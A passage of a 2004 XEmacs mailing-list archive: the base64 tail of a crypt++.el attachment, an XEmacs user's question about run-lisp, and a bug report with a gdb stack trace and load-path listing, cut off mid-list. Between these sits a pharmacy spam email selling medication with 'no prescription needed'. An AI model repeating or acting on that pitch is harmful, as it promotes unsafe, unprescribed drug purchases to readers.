ICh5LW9yLW4tcCAoY29uY2F0ICJTb3JyeSwgcmVwb3J0ZXIuZWwgbm90IGZvdW5kLiAgIgogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICJDYW4gSSBhbmdlLWZ0cCBpdCBmb3IgeW91PyAi KSkpCgogICAgICAgICA7OyBZZXMuICBUaGVuIEFuZ2UtZnRwIGEgY29weS4KICAgICAgICAgKGxl dCAoKGFuZ2UtZnRwLWdlbmVyYXRlLWFub255bW91cy1wYXNzd29yZCB0KSkKICAgICAgICAgICA7 OyBNaWdodCB3YW50IHRvIHVzZSB0aGUgZWxpc3AgYXJjaGl2ZSBvZmZpY2lhbCBzaXRlPyAgQnV0 CiAgICAgICAgICAgOzsgdGhlbiBpdCB3b3VsZCBoYXZlIHRvIGJlIHVuY29tcHJlc3NlZCwgZXRj LiBJY2shCiAgICAgICAgICAgKGZpbmQtZmlsZS1vdGhlci13aW5kb3cKIi9hbm9ueW1vdXNAYXJj aGl2ZS5jaXMub2hpby1zdGF0ZS5lZHU6L3B1Yi9nbnUvZW1hY3MvZWxpc3AtYXJjaGl2ZS9taXNj L3JlcG9ydGVyLmVsLloiKQogICAgICAgICAgIChldmFsLWN1cnJlbnQtYnVmZmVyKQogICAgICAg ICAgIChtZXNzYWdlIChjb25jYXQgIlNhdmUgcmVwb3J0ZXIuZWwgc29tZXdoZXJlIGluIGBsb2Fk LXBhdGgnICIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJhbmQgdHJ5IGFnYWluLiIpKSkK CiAgICAgICA7OyBObyBhbmdlLWZ0cC4KICAgICAgIChtZXNzYWdlICJTb3JyeSwgcmVwb3J0ZXIu ZWwgbm90IGZvdW5kLiIpCiAgICAgICAoc2l0LWZvciAzKQogICAgICAgKG1lc3NhZ2UgIkdldCBp dCBmcm9tIGFyY2hpdmUuY2lzLm9oaW8tc3RhdGUuZWR1LiIpKSkpKQoMCjs7OyBQcm92aWRlIHRo ZSBtYW55IGZvcm1zIG9mIHRoaXMgcGFja2FnZS4KKHByb3ZpZGUgJ2NyeXB0K3BncC1wdWIpCihw cm92aWRlICdjcnlwdCsrKQoocHJvdmlkZSAnY3J5cHQpCgo7OzsgY3J5cHQrKy5lbCBlbmRzIGhl cmUuCg== --wymbvANwpX-- From jmlrgh@channelnewsasia.com Sat Apr 3 04:53:52 2004 Received: from host81-134-3-191.in-addr.btopenworld.com (host81-134-3-191.in-addr.btopenworld.com [81.134.3.191]) by gwyn.tux.org (8.11.6p2/8.9.1) with SMTP id i339ros31015; Sat, 3 Apr 2004 04:53:50 -0500 Received: from 34.216.20.93 by web616.mail.yahoo.com; Sat, 03 Apr 2004 05:54:26 -0400 Message-ID: From: "Jeanie Bernard" To: xemacs-announce-archive@xemacs.org Subject: Fwd: Need Meds? We Got Them. No prescription needed. Best Source Online. FedEx delivered Date: Sat, 03 Apr 2004 12:50:26 +0300 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="--4107109864536256" X-CS-IP: 242.236.122.151 ----4107109864536256 Content-Type: text/html; Content-Transfer-Encoding: 7Bit

Hello,

Did you know that you can conveniently and comfortably connect with our Doctors and Pharmacists through the Internet?

You'll have your prescriptions written and your medications prescribed quickly and easily from the comfort of your own computer.

You'll save money because you aren't subject to a high fee, common with a normal office visit - your questionnaire is done online - not in a Doctor's office.

Start placing your order for meds here

Ndepend carfare audacity cinquefoil acquaint filigree edinburgh drury felony data confirmatory combinator absentminded breeches : Gbarbados erudite emit collide coset scratchy emma balinese cataclysm licensee pout !! Amedicinal burnout eliminate deer prescriptive cocksure distillery death panda bimini brighton apple abyssinia cpu chronograph repetitive soy stool chide steven

If this notice has reached you in error, please notify us by clicking here ----4107109864536256-- From xemacs-beta-admin@xemacs.org Sat Apr 3 05:02:20 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33A25s01502; Sat, 3 Apr 2004 05:02:05 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33A1aS01354 for xemacs-beta-mailman@xemacs.org; Sat, 3 Apr 2004 05:01:36 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33A1ZP01334 for turnbull@tux.org; Sat, 3 Apr 2004 05:01:35 -0500 Received: from syl.extundo.com (syl.extundo.com [212.32.189.101]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33A1Ys01329 for ; Sat, 3 Apr 2004 05:01:35 -0500 Received: from deluge.cc.mcgill.ca (deluge.CC.McGill.CA [132.206.27.50]) by syl.extundo.com (8.12.10/8.12.10) with ESMTP id i338Fw63005966 for ; Sat, 3 Apr 2004 10:15:59 +0200 Received: from retro.mcgill.ca (retro.McGill.CA [132.206.27.57]) by deluge.cc.mcgill.ca (8.12.11/8.12.3) with ESMTP id i337oMkI009955 for ; Sat, 3 Apr 2004 02:50:22 -0500 (EST) Received: from [132.206.141.194] ([132.206.141.194]) by retro.mcgill.ca (8.12.10/8.12.10) with ESMTP id i337oFXR000987 for ; Sat, 3 Apr 2004 02:50:16 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v609) Content-Transfer-Encoding: 7bit Message-Id: <7BB43716-8543-11D8-8A83-000A95B3BD12@music.mcgill.ca> Content-Type: text/plain; charset=US-ASCII; format=flowed To: xemacs-beta@xemacs.org From: Adam Tindale Subject: XEmacs Services Problem Date: Sat, 3 Apr 2004 02:49:49 -0500 X-Mailer: Apple Mail (2.609) X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hello, I am sorry to bother you. I have looked through a LOT of documentation and my problem seems to be unique. I am running OSX 10.3.2 and I have used the newest version of FINK to install XEMACS. Everything is great except when I try to use the M-x run-lisp sequence it does not seem to be defined in XEMACS. I have my lisp command set up and running in /bin. The documentation says that run-lisp calls /bin/lisp to run lisp in a buffer. I had this working in the cocoa version of XEMACS but the function does not seem to be working in the X11 version I compiled via FINK. Could you tell me how I can add this function back to XEMACS? Any help would be greatly appreciated. Since I do have it working on another version I can still work so don't worry about getting back. I know you are busy. Thanks for reading this far. Have a wonderful day. Adam From xemacs-beta-admin@xemacs.org Sat Apr 3 09:25:08 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33EP2s23006; Sat, 3 Apr 2004 09:25:02 -0500 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33EOOp22902 for xemacs-beta-mailman@xemacs.org; Sat, 3 Apr 2004 09:24:24 -0500 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i33EOKb22878 for turnbull@tux.org; Sat, 3 Apr 2004 09:24:20 -0500 Received: from budvar.future-i.net (budvar.future-i.net [212.100.224.95]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i33EOJs22873 for ; Sat, 3 Apr 2004 09:24:19 -0500 Received: from ed by budvar.future-i.net with local (Exim 4.24) id 1B9luL-0000dG-VU for xemacs-beta@xemacs.org; Sat, 03 Apr 2004 15:14:01 +0100 From: Ed Avis To: XEmacs Beta Subject: [Bug: 21.5-b16] Crash and core dump when foregrounding after C-g Message-Id: Date: Sat, 03 Apr 2004 15:14:01 +0100 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , ================================================================ Dear Bug Team! I hit C-g a couple of times while using xemacs and it suspended itself, as it often does under high load with C-g. I am sure I answered no to the 'abort and dump core' question, but it crashed and dumped core anyway. Here is the C stack trace: ed@budvar ~ $ gdb /home/ed/bin/xemacs core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... Core was generated by `xemacs'. Program terminated with signal 11, Segmentation fault. Reading symbols from /usr/lib/libtiff.so.3...done. Reading symbols from /usr/lib/libpng.so.2...done. Reading symbols from /usr/lib/libjpeg.so.62...done. Reading symbols from /usr/lib/libz.so.1...done. Reading symbols from /usr/X11R6/lib/libXmu.so.6...done. Reading symbols from /usr/X11R6/lib/libXt.so.6...done. Reading symbols from /usr/X11R6/lib/libXext.so.6...done. Reading symbols from /usr/X11R6/lib/libX11.so.6...done. Reading symbols from /usr/X11R6/lib/libSM.so.6...done. Reading symbols from /usr/X11R6/lib/libICE.so.6...done. Reading symbols from /usr/lib/libncurses.so.5...done. Reading symbols from /lib/libdl.so.2...done. Reading symbols from /lib/libm.so.6...done. Reading symbols from /lib/libutil.so.1...done. Reading symbols from /lib/libc.so.6...done. Reading symbols from /lib/ld-linux.so.2...done. Reading symbols from /lib/libnss_files.so.2...done. Reading symbols from /lib/libnss_nisplus.so.2...done. Reading symbols from /lib/libnsl.so.1...done. Reading symbols from /lib/libnss_nis.so.2...done. Reading symbols from /lib/libnss_dns.so.2...done. Reading symbols from /lib/libresolv.so.2...done. #0 0x8087665 in noseeum_cons (car=138250152, cdr=1) at alloc.c:1069 1069 alloc.c: No such file or directory. (gdb) where #0 0x8087665 in noseeum_cons (car=138250152, cdr=1) at alloc.c:1069 #1 0x80cfd86 in record_unwind_protect_restoring_int (addr=0x83ae44c, val=0) at eval.c:5932 #2 0x81b5aca in sys_re_search_2 (bufp=0x83aa7a0, str1=0x0, size1=0, str2=0x8a72034 "/home/ed/msg", size2=12, startpos=0, range=1, regs=0x0, stop=12, lispobj=144060452, lispbuf=0x0, scache=0xbfffdb34) at regex.c:487 #3 0x81bc22d in sys_re_search (bufp=0x83aa7a0, string=0x8a72034 "/home/ed/msg", size=12, startpos=0, range=12, regs=0x0, lispobj=144060452, lispbuf=0x0, scache=0xbfffdb34) at regex.c:4215 #4 0x81bd044 in fast_lisp_string_match (regex=139205452, string=144060452) at search.c:566 #5 0x810c56a in Ffind_file_name_handler (filename=144060452, operation=1077683844) at fileio.c:285 #6 0x810cdfc in Fexpand_file_name (name=144060452, default_directory=1077684468) at fileio.c:750 #7 0x80a36e3 in unlock_file (fn=144060452) at filelock.c:379 #8 0x80a384d in unlock_all_files () at filelock.c:398 #9 0x80c3d94 in shut_down_emacs (sig=11, stuff=1077684468, no_auto_save=1) at emacs.c:3320 #10 0x80c4f29 in fatal_error_signal (sig=11) at emacs.c:3475 #11 0x40280868 in __restore () at ../sysdeps/i386/bits/string.h:139 #12 0x80c725f in condition_case_1 (handlers=1077683028, bfun=0x811432c , barg=139737764, hfun=0x81142ec , harg=1077684468) at eval.c:1879 #13 0x8112dc9 in Fdo_auto_save (no_message=1077683028, current_only=1077684468) at fileio.c:3970 #14 0x80c4ee6 in fatal_error_signal (sig=11) at emacs.c:3455 #15 0x40280868 in __restore () at ../sysdeps/i386/bits/string.h:139 #16 0x8118bcb in Fbutlast (list=1078041912, n=1077684468) at fns.c:1345 #17 0x80ca557 in Ffuncall (nargs=2, args=0xbfffe5f0) at eval.c:3842 #18 0x8098514 in execute_optimized_program ( program=0x8533f28 "\n<«\021\bÃ\n!k­\024Ä\tÅ\n!@\"ª\005Ä\t\n\"­\005ÆÇÈ\"\207", stack_depth=4, constants_data=0x4044ebe4) at bytecode.c:603 #19 0x80caa54 in Ffuncall (nargs=2, args=0xbfffe6e8) at eval.c:3452 #20 0x811ceae in mapcar1 (leni=24, vals=0x0, function=1078725820, sequence=1078042428) at fns.c:3173 #21 0x811fa4a in Fmapc_internal (function=1078725820, sequence=1078042428) at fns.c:3300 #22 0x80ca557 in Ffuncall (nargs=3, args=0xbfffe7cc) at eval.c:3842 #23 0x8098514 in execute_optimized_program ( program=0x8432c18 "\t«\013ÃÄÅ\b\n\t%\210ª\006Æ\b\n\"\210\n\207\001\b", stack_depth=6, constants_data=0x40458b70) at bytecode.c:603 #24 0x80caa54 in Ffuncall (nargs=3, args=0xbfffe8bc) at eval.c:3452 #25 0x8098514 in execute_optimized_program ( program=0xbfffe910 "ÃÄ!\211\032­\003ÄK\031Å\216ÄÆM\210ÇÈ\b\"\210+É\2074\034<@جJ@Ìùü\bL¶8@\003ÊL\büøü\b\003ÊL\bäéÿ¿", stack_depth=4, constants_data=0x4044ec5c) at bytecode.c:603 #26 0x809b21f in Fbyte_code (instructions=1078565784, constants=1078258764, stack_depth=9) at bytecode.c:2251 #27 0x80c96db in Feval (form=1078042464) at eval.c:3599 #28 0x80cfbab in internal_catch (tag=1077616140, func=0x80c8ee4 , arg=1078042464, threw=0x0, thrown_tag=0x0) at eval.c:1527 #29 0x8098f46 in execute_rare_opcode (stack_ptr=0xbfffeb8c, program_ptr=0x8533eeb "*\207", opcode=Bcatch) at bytecode.c:1109 #30 0x8098326 in execute_optimized_program ( program=0x8533ed8 "Ã\n!­\020Ä\n!ÅÆÇ\n!\"\031\030ÈÉ\215*\207", stack_depth=5, constants_data=0x4044ec94) at bytecode.c:507 #31 0x80caa54 in Ffuncall (nargs=1, args=0xbfffec74) at eval.c:3452 #32 0x8098514 in execute_optimized_program ( program=0x8533e90 "Å ­,\n­)\t­&Æ ?­!ÇÈ\013!s¬\022É\013!\034Ê\f!­\006\f\211\227a?)­\tË\030ÌÍ\211Ë#)\207dd-s1", stack_depth=4, constants_data=0x40436ae0) at bytecode.c:603 #33 0x80caa54 in Ffuncall (nargs=1, args=0xbfffed6c) at eval.c:3452 #34 0x80cec47 in call0 (fn=1077507804) at eval.c:4472 #35 0x80e0c56 in pre_command_hook () at event-stream.c:4265 #36 0x80de16c in execute_command_event (command_builder=0x84ccb70, event=161363664) at event-stream.c:4200 #37 0x80ded5e in Fdispatch_event (event=161363664) at event-stream.c:4561 #38 0x80a3fd0 in Fcommand_loop_1 () at cmdloop.c:573 #39 0x80a427c in command_loop_1 (dummy=1077684468) at cmdloop.c:489 #40 0x80c732f in condition_case_1 (handlers=1077682380, bfun=0x80a4244 , barg=1077684468, hfun=0x80a3b00 , harg=1077684468) at eval.c:1917 #41 0x80a435c in command_loop_2 (dummy=1077684468) at cmdloop.c:252 #42 0x80cfbab in internal_catch (tag=1077470700, func=0x80a4324 , arg=1077684468, threw=0x0, thrown_tag=0x0) at eval.c:1527 #43 0x80a3cbc in initial_command_loop (load_me=1077684468) at cmdloop.c:301 #44 0x80c3247 in xemacs_21_5_b16_i686_pc_linux () at emacs.c:2375 #45 0x80c5153 in main (argc=1, argv=0xbffff144, envp=0xbffff14c) at emacs.c:2805 ================================================================ System Info to help track down your bug: --------------------------------------- uname -a: Linux budvar.future-i.net 2.2.19-6.2.12.1RS #1 Sat Nov 3 02:42:38 CST 2001 i686 unknown ./configure '--package-path=/home/ed/lib/xemacs-21.5-b16' '--prefix=/home/ed' XEmacs 21.5-b16 "celeriac" configured for `i686-pc-linux'. Compilation / Installation: Source code location: /home/ed/inst/xemacs-21.5.16 Installation prefix: /home/ed Operating system description file: `s/linux.h' Machine description file: `m/intel386.h' Compiler: gcc -Wall -Wno-switch -Winline -Wmissing-prototypes -Wsign-compare -Wundef -Wstrict-prototypes -Wshadow -Wmissing-declarations -g -O3 Relocating allocator for buffers: no GNU version of malloc: yes - Using Doug Lea's new malloc from the GNU C Library. Window System: Compiling in support for the X window system: - X Windows headers location: /usr/X11R6/include - X Windows libraries location: /usr/X11R6/lib - Handling WM_COMMAND properly. Using Lucid menubars. Using Lucid scrollbars. TTY: Compiling in support for ncurses. Images: Compiling in support for GIF images (builtin). WARNING: ----------------------------------------------------------- WARNING: Compiling without XPM image support. WARNING: You should strongly consider installing XPM. WARNING: Otherwise toolbars and other graphics will look suboptimal. WARNING: (a copy may be found in ftp://ftp.xemacs.org/pub/xemacs/aux) WARNING: ----------------------------------------------------------- Compiling in support for PNG images. Compiling in support for JPEG images. Compiling in support for TIFF images. Sound: Compiling in support for sound (native). Databases: Internationalization: Mail: Compiling in support for "dot-locking" mail spool file locking method. Other Features: Inhibiting IPv6 canonicalization at startup. Compiling in support for dynamic shared object modules. Using the new portable dumper. Compiling in support for extra debugging code. WARNING: --------------------------------------------------------- WARNING: Compiling in support for runtime error checking. WARNING: XEmacs will run noticeably more slowly as a result. WARNING: Error checking is on by default for XEmacs beta releases. WARNING: --------------------------------------------------------- Load-Path Lisp Shadows: ---------------------- (/home/ed/lib/xemacs-21.5-b16/lisp/build-report /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/build/build-report /home/ed/inst/gnus-5.10.6/lisp/sha1-el /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/ecrypto/sha1-el /home/ed/inst/gnus-5.10.6/lisp/hex-util /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/ecrypto/hex-util /home/ed/inst/gnus-5.10.6/lisp/binhex /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/binhex /home/ed/inst/gnus-5.10.6/lisp/canlock /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/canlock /home/ed/inst/gnus-5.10.6/lisp/compface /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/compface /home/ed/inst/gnus-5.10.6/lisp/deuglify /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/deuglify /home/ed/inst/gnus-5.10.6/lisp/earcon /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/earcon /home/ed/inst/gnus-5.10.6/lisp/flow-fill /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/flow-fill /home/ed/inst/gnus-5.10.6/lisp/format-spec /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/format-spec /home/ed/inst/gnus-5.10.6/lisp/gnus-agent /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-agent /home/ed/inst/gnus-5.10.6/lisp/gnus-art /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-art /home/ed/inst/gnus-5.10.6/lisp/gnus-async /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-async /home/ed/inst/gnus-5.10.6/lisp/gnus-audio /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-audio /home/ed/inst/gnus-5.10.6/lisp/gnus-bcklg /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-bcklg /home/ed/inst/gnus-5.10.6/lisp/gnus-cache /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-cache /home/ed/inst/gnus-5.10.6/lisp/gnus-cite /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-cite /home/ed/inst/gnus-5.10.6/lisp/gnus-cus /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-cus /home/ed/inst/gnus-5.10.6/lisp/gnus-delay /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-delay /home/ed/inst/gnus-5.10.6/lisp/gnus-demon /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-demon /home/ed/inst/gnus-5.10.6/lisp/gnus-diary /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-diary /home/ed/inst/gnus-5.10.6/lisp/gnus-dired /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-dired /home/ed/inst/gnus-5.10.6/lisp/gnus-draft /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-draft /home/ed/inst/gnus-5.10.6/lisp/gnus-dup /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-dup /home/ed/inst/gnus-5.10.6/lisp/gnus-eform /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-eform /home/ed/inst/gnus-5.10.6/lisp/gnus-ems /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-ems /home/ed/inst/gnus-5.10.6/lisp/gnus-fun /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-fun /home/ed/inst/gnus-5.10.6/lisp/gnus-gl /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-gl /home/ed/inst/gnus-5.10.6/lisp/gnus-group /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-group /home/ed/inst/gnus-5.10.6/lisp/gnus-int /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-int /home/ed/inst/gnus-5.10.6/lisp/gnus-kill /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-kill /home/ed/inst/gnus-5.10.6/lisp/gnus-logic /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-logic /home/ed/inst/gnus-5.10.6/lisp/gnus-mh /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-mh /home/ed/inst/gnus-5.10.6/lisp/gnus-ml /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-ml /home/ed/inst/gnus-5.10.6/lisp/gnus-mlspl /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-mlspl /home/ed/inst/gnus-5.10.6/lisp/gnus-move /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-move /home/ed/inst/gnus-5.10.6/lisp/gnus-msg /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-msg /home/ed/inst/gnus-5.10.6/lisp/gnus-nocem /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-nocem /home/ed/inst/gnus-5.10.6/lisp/gnus-picon /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-picon /home/ed/inst/gnus-5.10.6/lisp/gnus-range /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-range /home/ed/inst/gnus-5.10.6/lisp/gnus-registry /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-registry /home/ed/inst/gnus-5.10.6/lisp/gnus-salt /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-salt /home/ed/inst/gnus-5.10.6/lisp/gnus-score /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-score /home/ed/inst/gnus-5.10.6/lisp/gnus-setup /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-setup /home/ed/inst/gnus-5.10.6/lisp/gnus-sieve /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-sieve /home/ed/inst/gnus-5.10.6/lisp/gnus-soup /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-soup /home/ed/inst/gnus-5.10.6/lisp/gnus-spec /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-spec /home/ed/inst/gnus-5.10.6/lisp/gnus-srvr /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-srvr /home/ed/inst/gnus-5.10.6/lisp/gnus-start /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-start /home/ed/inst/gnus-5.10.6/lisp/gnus-sum /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-sum /home/ed/inst/gnus-5.10.6/lisp/gnus-topic /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-topic /home/ed/inst/gnus-5.10.6/lisp/gnus-undo /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-undo /home/ed/inst/gnus-5.10.6/lisp/gnus-util /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-util /home/ed/inst/gnus-5.10.6/lisp/gnus-uu /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-uu /home/ed/inst/gnus-5.10.6/lisp/gnus-vm /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-vm /home/ed/inst/gnus-5.10.6/lisp/gnus-win /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-win /home/ed/inst/gnus-5.10.6/lisp/gnus-xmas /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus-xmas /home/ed/inst/gnus-5.10.6/lisp/gnus /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/gnus /home/ed/inst/gnus-5.10.6/lisp/html2text /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/html2text /home/ed/inst/gnus-5.10.6/lisp/ietf-drums /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/ietf-drums /home/ed/inst/gnus-5.10.6/lisp/imap /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/imap /home/ed/inst/gnus-5.10.6/lisp/mail-parse /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mail-parse /home/ed/inst/gnus-5.10.6/lisp/mail-prsvr /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mail-prsvr /home/ed/inst/gnus-5.10.6/lisp/mail-source /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mail-source /home/ed/inst/gnus-5.10.6/lisp/mailcap /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mailcap /home/ed/inst/gnus-5.10.6/lisp/message /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/message /home/ed/inst/gnus-5.10.6/lisp/messagexmas /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/messagexmas /home/ed/inst/gnus-5.10.6/lisp/messcompat /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/messcompat /home/ed/inst/gnus-5.10.6/lisp/mm-bodies /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-bodies /home/ed/inst/gnus-5.10.6/lisp/mm-decode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-decode /home/ed/inst/gnus-5.10.6/lisp/mm-encode /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-encode /home/ed/inst/gnus-5.10.6/lisp/mm-extern /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-extern /home/ed/inst/gnus-5.10.6/lisp/mm-partial /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-partial /home/ed/inst/gnus-5.10.6/lisp/mm-url /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-url /home/ed/inst/gnus-5.10.6/lisp/mm-util /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-util /home/ed/inst/gnus-5.10.6/lisp/mm-uu /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-uu /home/ed/inst/gnus-5.10.6/lisp/mm-view /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mm-view /home/ed/inst/gnus-5.10.6/lisp/mml-sec /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml-sec /home/ed/inst/gnus-5.10.6/lisp/mml-smime /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml-smime /home/ed/inst/gnus-5.10.6/lisp/mml1991 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml1991 /home/ed/inst/gnus-5.10.6/lisp/mml2015 /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/mml2015 /home/ed/inst/gnus-5.10.6/lisp/nnagent /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnagent /home/ed/inst/gnus-5.10.6/lisp/nnbabyl /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnbabyl /home/ed/inst/gnus-5.10.6/lisp/nndb /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndb /home/ed/inst/gnus-5.10.6/lisp/nndiary /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndiary /home/ed/inst/gnus-5.10.6/lisp/nndir /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndir /home/ed/inst/gnus-5.10.6/lisp/nndoc /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndoc /home/ed/inst/gnus-5.10.6/lisp/nndraft /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nndraft /home/ed/inst/gnus-5.10.6/lisp/nneething /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nneething /home/ed/inst/gnus-5.10.6/lisp/nnfolder /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nnfolder /home/ed/inst/gnus-5.10.6/lisp/nngateway /home/ed/lib/xemacs-21.5-b16/xemacs-packages/lisp/gnus/nngateway 